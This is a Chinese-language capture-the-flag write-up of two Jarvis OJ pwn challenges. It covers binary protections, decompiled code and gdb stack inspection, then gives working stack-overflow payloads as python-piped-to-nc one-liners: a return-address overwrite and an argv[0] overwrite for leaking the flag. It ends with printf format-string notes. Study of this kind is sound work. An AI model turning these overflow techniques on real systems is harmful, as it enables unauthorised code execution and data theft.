Jarvis Oj Pwn 做题记录

0x01 tell me something Point:100

checksec:

Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

很明显的漏洞点:

int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp+0h] [rbp-88h]

write(1, "Input your message:\n", 20uLL);
read(0, &v4, 256uLL);
return write(1, "I have received your message, Thank you!\n", 0x29uLL);
}

read处读取了256个字符, 但是

.text:00000000004004E0 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00000000004004E0 public main
.text:00000000004004E0 main proc near ; DATA XREF: _start+1D↓o
.text:00000000004004E0 ; __unwind {
.text:00000000004004E0 sub rsp, 88h
.text:00000000004004E7 mov edx, 14h ; n
.text:00000000004004EC mov esi, offset aInputYourMessa ; "Input your message:\n"
.text:00000000004004F1 mov edi, 1 ; fd
.text:00000000004004F6 call _write
.text:00000000004004FB mov rsi, rsp ; buf
.text:00000000004004FE mov edx, 100h ; nbytes
.text:0000000000400503 xor edi, edi ; fd
.text:0000000000400505 call _read
.text:000000000040050A mov edx, 29h ; n
.text:000000000040050F mov esi, offset aIHaveReceivedY ; "I have received your message, Thank you"...
.text:0000000000400514 mov edi, 1 ; fd
.text:0000000000400519 call _write
.text:000000000040051E add rsp, 88h
.text:0000000000400525 retn
.text:0000000000400525 ; } // starts at 4004E0
.text:0000000000400525 main endp

根据sub rsp, 88h可知main函数的栈空间只有0x88 = 136字节, read的时候会溢出

我们输入12345678后看一下栈

gef➤  x/100g $sp
0x7fffffffde20: 0x3837363534333231 0x000000000000000a
0x7fffffffde30: 0x0000000000000000 0x0000000000000000

按照小端序存放的输入, 即高字节存放在低地址, 低字节存放在高地址, 按4字节对齐

输入的12345678\x31\x32\x33\x34\x35\x36\x37\x38

gef➤  x/10xw $sp
0x7fffffffde20:    0x34333231    0x38373635    0x0000000a    0x00000000
0x7fffffffde30:    0x00000000    0x00000000    0x00000000    0x00000000
0x7fffffffde40:    0x00000000    0x00000000

可以看到1234按4321的顺序放在0x7fffffffde20-0x7fffffffde23

5678按8765的顺序放在0x7fffffffde24-0x7fffffffde27

read函数结束的时候会返回到main函数继续执行, 返回的地址是保存在栈中的, 因此可以利用栈溢出覆盖返回地址

int good_game()
{
FILE *v0; // rbx
int result; // eax
char buf; // [rsp+Fh] [rbp-9h]

v0 = fopen("flag.txt", "r");
while ( 1 )
{
result = fgetc(v0);
buf = result;
if ( (_BYTE)result == -1 )
break;
write(1, &buf, 1uLL);
}
return result;
}

发现一个good_game函数可以读取flag并输出

.text:0000000000400620                 public good_game
.text:0000000000400620 good_game       proc near
.text:0000000000400620
.text:0000000000400620 buf             = byte ptr -9
.text:0000000000400620
.text:0000000000400620 ; __unwind {
.text:0000000000400620                 push    rbx
.text:0000000000400621                 mov     esi, offset modes ; "r"
.text:0000000000400626                 mov     edi, offset filename ; "flag.txt"

地址是0x00400620, 即覆盖返回地址为0x00400620即可, 注意按照小端序, 64位程序补齐高4字节地址

payload:

python -c 'print "A" * 0x88 + "\x20\x06\x40\x00\x00\x00\x00\x00"' | nc pwn.jarvisoj.com 9876

0x02 Smashes Point:200

Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
FORTIFY:  Enabled

开了Canary, 会检测标志位以防止栈溢出, 可以看到如果发生了栈溢出会输出:

在ida点菜单中的View->Open subviews->String可以打开字符串窗口, 看到

即flag是读到内存中了的

那么我们可以把flag的地址覆盖到argv[0]=/home/username/filename, 就可以输出flag

这个漏洞点也很明显:

unsigned __int64 sub_4007E0()
{
__int64 v0; // rbx
int v1; // eax
__int64 v3; // [rsp+0h] [rbp-128h]
unsigned __int64 v4; // [rsp+108h] [rbp-20h]

v4 = __readfsqword(0x28u);
__printf_chk(1LL, "Hello!\nWhat's your name? ");
if ( !_IO_gets(&v3) )
LABEL_9:
_exit(1);
v0 = 0LL;
__printf_chk(1LL, "Nice to meet you, %s.\nPlease overwrite the flag: ");
...
}

read函数读取了0x28个数据, 但是在

.text:00000000004007E0 sub_4007E0      proc near               ; CODE XREF: main+12↑p
.text:00000000004007E0
.text:00000000004007E0 var_20          = qword ptr -20h
.text:00000000004007E0
.text:00000000004007E0                 push    rbp
.text:00000000004007E1                 mov     esi, offset aHelloWhatSYour ; "Hello!\nWhat's your name? "
.text:00000000004007E6                 mov     edi, 1

可以看到只有0x20的栈, 存在栈溢出

那么我们只要一直填充数据到地址覆盖到argv[0]即可

让程序输入一些数据看一下输入开始的地址:

栈从低地址向高地址增加, argv[0]在高地址, main函数的栈在低地址, 然后main函数的栈帧中, 地址由低向高增加, 所以大量数据填充可以让我们的输入覆盖到高地址的argv[0]

搜索一下flag的位置

pwndbg> search CTF{
smashes         0x400d21 push   r12 /* "CTF{Here's the flag on server}" */
smashes         0x600d21 "CTF{Here's the flag on server}

还有argv[0]的位置

pwndbg> search /home/a/smashes
warning: Unable to access 16000 bytes of target memory at 0x7ffff7bd2d0e, halting search.
[stack]         0x7fffffffe230 '/home/a/smashes'
[stack]         0x7fffffffe800 '/home/a/smashes'
[stack]         0x7fffffffefe8 '/home/a/smashes'

输入数据保存的位置(栈顶)

RSP  0x7fffffffe3b0 ◂— 0x34333231 /* '1234' */

我们选取一个距离最远的,保证覆盖到argv[0]

按8字节小端序对齐

所以最终payload为:


python -c "print((0x7fffffffefe8 - 0x7fffffffe3b0) / 8 * '\x21\x0d\x40\x00\x00\x00\x00\x00' + '\n\n')" | nc pwn.jarvisoj.com 9877

记录一下格式化字符串:

格式化占位符(format placeholder),语法是:

%[parameter][flags][field width][.precision][length]type
  • parameter: n$, n用来指示是第几个参数, 如: printf("%2$d, %1$d", 1, 2) 输出的是2, 1
  • flags:
    • +: 正号, 表示有符号数值, 仅用于数值类型
    • 空格: 输出有符号数的时候如果没有正负号或者零个字符, 就前缀一个空格, 与+同时出现的时候忽略
    • -: 左对齐, 默认情况下是右对齐
    • : 不删除尾部0保持精度, 总输出小数点, 输出0, 0x, 0X表示进制

  • field width: 给出显示数值的最小宽度, 不足时补齐, 超出时全部输出
  • .precision: 指明输出的最大长度
  • length: 指明参数长度, hh, 输出一个字节, h, 输出一个双字节
  • type:
    • d/i: 有符号整数, 如果scanf的时候, 输入16进制数如0x2f, 则应用i, 否则d和i同义
    • u: 无符号整数
    • f/F: double型按10进制定点表示, 如2.2323
    • e/E: 按科学计数法表示, 1.5e002
    • g/G: double, 输出全部有效数字位
    • x/X: 16 进制 unsigned int
    • o/8: 进制 unsigned int
    • s: 如果没有用 l 标志, 输出 null 结尾字符串直到精度规定的上限; 如果没有指定精度,则输出所有字节. 如果用了 l 标志, 则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符, 相当于调用 wcrtomb 函数.